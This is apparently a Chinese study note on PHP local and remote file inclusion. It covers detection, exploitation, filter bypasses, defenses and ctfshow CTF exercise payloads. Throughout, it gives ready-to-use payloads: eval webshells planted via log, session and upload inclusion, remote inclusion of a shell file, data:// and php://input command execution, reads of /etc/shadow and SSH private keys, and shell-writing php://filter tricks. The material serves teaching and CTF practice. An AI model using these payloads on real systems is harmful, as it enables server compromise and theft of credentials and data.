一、原理
什么是文件包含?
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,
直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。
在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞
漏洞原理
开发者通常使用 include() 或 require() 等函数加载文件内容。程序通过接收用户可控参数,动态读取本地、远程文件并解析执行。如果这些函数的参数由用户输入控制且未经过验证,攻击者可以通过构造恶意路径或 URL 来加载敏感文件或恶意代码。
include():找不到被包含文件,报错,但会继续运行脚本;
include_once():与include类似,区别:当重复调用同一文件时,程序只调用一次;
require():找不到被包含文件,报错,并且停止运行脚本;
require_once() :与require类似,区别:当重复调用同一文件时,程序只调用一次;
分类
LFI 本地文件包含:仅读取服务器本地文件,无法加载远程 URL
RFI 远程文件包含:可加载远程服务器文件,危害更大
二、探测
1. 特征参数识别
URL中常见文件包含参数:?page=x、?file=x、?name=x、?path=x、?dir=x、?template=x、?load=x
2. 本地文件测试
Windows系统
?page=C:/Windows/win.ini ?page=C:/Windows/System32/drivers/etc/hostsLinux系统
?page=/etc/passwd ?page=/etc/group ?page=/etc/shadow(需root权限) ?page=/proc/self/environ(获取环境变量、WEB路径)页面返回文件内容,无报错或404→ 存在LFI
3. 远程文件包含探测
传入远程 URL,观察是否加载远程文件:
?page=http://攻击者服务器/evil.txt ?page=https://xxx/backdoor.php页面加载远程内容 → 存在RFI
4. 截断符测试
判断是否过滤后缀
若后端强制拼接后缀(如 include($file . ".php"))使用 %00 空字节截断(PHP<5.3.4 有效)
?page=/etc/passwd%005. 工具探测
- Burp Suite:主动扫描模块
- OWASP ZAP:文件包含漏洞扫描规则
- Seay 源码审计工具(代码层挖掘)
三、利用
(一)本地文件包含利用
1. 敏感文件读取(信息泄露)
Windows常见:
C:\Windows\win.ini C:\boot.ini C:\xampp\apache\logs\access.log C:/Windows/System32/drivers/etc/hostsLinux常见目标:
/etc/passwd 用户列表 /etc/crontab 定时任务 /var/log/apache2/access.log 访问日志 /var/log/nginx/access.log /proc/self/cmdline 进程启动参数 /root/.ssh/id_rsa 私钥2. 日志包含写入木马(日志污染攻击)
原理:访问URL时UA请求头写入日志,再包含日志执行PHP代码
构造恶意User-Agent:<?php eval($_POST['cmd']);?>
访问网站记录日志
包含日志文件:?page=/var/log/nginx/access.log
POST传参cmd=系统命令,实现webshell
3. Session文件包含(Session劫持+代码执行)
PHP Session存储路径:/tmp/sess_xxxx
Cookie写入恶意PHP代码
包含session文件执行木马
4. 上传文件配合LFI
上传图片马(.jpg 内含php代码),再通过文件包含解析图片,执行后门。
(二)RFI远程文件包含利用
- 攻击者搭建远程恶意文件 shell.txt
<?php eval($_POST['c']); ?>- 直接远程包含:?page=http://xxx/shell.txt
- 传参执行命令:?c=system('whoami');
绕过域名限制:协议替换 https://、ftp://、php://input
(三)PHP伪协议利用
无需本地/远程文件,直接通过内置协议读文件、执行代码
基本需要满足:allow_url_fopen=On,部分协议需要 allow_url_include=On
1.php://filter
读取当前页面源码,base64编码防止浏览器解析执行PHP代码,避免源码被执行。
解码base64得到完整源代码,获取数据库账号、密钥。
?page=php://filter/read=convert.base64-encode/resource=index.php2.php://input
GET传参:?file=php://input
POST请求体写入PHP代码:<?php system('ls'); ?>
3.data://
?page=data://text/plain,<?php eval($_GET['cmd']);?> ?page=data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyA/Pg== #编码内容:<?php eval($_GET['cmd']);?>4.file://
直接读取服务器本地任意文件
linux:
?file=file:///etc/passwd ?file=file:///etc/group ?file=file:///var/log/nginx/access.logfile:// 后面需要三个斜杠,代表从文件系统根目录开始。
Windows:
?file=file://C:/Windows/win.ini ?file=file://C:/Windows/System32/drivers/etc/hosts5.zip://
读取 zip 压缩包内的文件,解析执行里面的 PHP 脚本。
?file=zip://D:/www/1.zip%23shell.php # %23是#的URL编码,用来指定压缩包里的文件四、绕过
1. 过滤../目录穿越 绕过
多层嵌套:....//....//etc/passwd(解析后等效../)
双URL编码绕过:
- 浏览器第一次 URL 解码:..%2Fetc%2Fpasswd
- PHP 服务端二次 URL 解码:../etc/passwd
斜杠替换:\ Windows下等价 /,过滤只拦截了正斜杠../即可使用..\绕过
2. 过滤 http/https 禁止RFI 绕过
替换协议:ftp://、php://input、data://
3. 后端强制拼接 .php 后缀 绕过
空字节截断:%00(低版本PHP),%00是字符串结束符,PHP 遇到\0直接截断,.php不会拼接执行
.号./符号截断:Windows下目录最大长度为256字节,Linux下目录最大长度为4096字节,超出的部分会被丢弃。目录过长,最后拼接的.php就会被丢弃
payload:
http://192.168.100.150/test_include/index.php?page=1.png/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
路径符号:/etc/passwd/.、/etc/passwd/#
特殊符号?:后端拼接后地址:http://xxx/shell.txt?.php,?后面的内容属于 URL 参数,服务端会忽略?.php,实际加载远程shell.txt
4. 过滤关键词 passwd、etc绕过
大小写混淆:/EtC/PaSsWd(Linux区分大小写无效,Windows有效)
字符串拼接、编码绕过、十六进制路径
5. 过滤伪协议 php://filter 绕过
大小写变形:PHP://Filter
换行、特殊字符分割绕过WAF
6. 路径白名单限制(仅允许 ./template/)
后端拼接后最终访问路径:./template/./template/../../etc/passwd路径规范化后等价于:../../etc/passwd,成功跳出白名单目录
路径穿越:?page=../etc/passwd 跳出指定目录
五、防御
1. 代码层修复(根本解决)
①白名单限制文件名称,只允许预设页面,拒绝任意用户输入
$allow = ['home.php','about.php']; $file = $_GET['page']; if(!in_array($file,$allow)) die("非法文件"); include("./template/".$file);②严格限制文件目录,禁止跳出根目录
使用 realpath() 校验路径,拦截 ../ 穿越
$base = "./template/"; $path = realpath($base . $_GET['page']); if(strpos($path, realpath($base)) !== 0) exit;③禁用危险文件包含函数
php.ini:disable_functions = include,require,file_get_contents
④关闭远程文件包含
php.ini:allow_url_include = Off,同时关闭 allow_url_fopen = Off
2. 输入过滤规范
禁止用户输入直接拼接路径
过滤 ../、\、/、%00、伪协议关键词
强制文件后缀,统一使用固定后缀,禁止截断
3. 服务器配置防护
日志、session文件禁止Web可访问
网站目录最低权限,www-data无读取 /etc/shadow、/root 权限
Nginx/Apache限制访问敏感系统文件
4. WAF防护
拦截特征:
php://filter、data://、zip://
多层 ../ 目录穿越
http:// 远程协议调用
/etc/passwd、win.ini 敏感文件关键字
5. 运维安全加固
PHP升级至7.x/8.x,废除空字节截断漏洞
定期清理网站日志、session文件,减少污染利用面
禁止网站运行用户拥有高系统权限
六、ctfshow练题
-文件读取:
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php
-文件写入:
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
-代码执行:
php://input POST:<?php phpinfo();?>
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
78-php&http协议
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
79-data&http协议
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
80 81-日志包含
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log
82-86-SESSION包含
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字,条件竞争访问session文件,触发创建新文件
<html>
<body>
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
87-php://filter/write&加密编码
1、利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
2、利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>
88-data&base64协议
过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
117-php://filter/write&新的算法
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?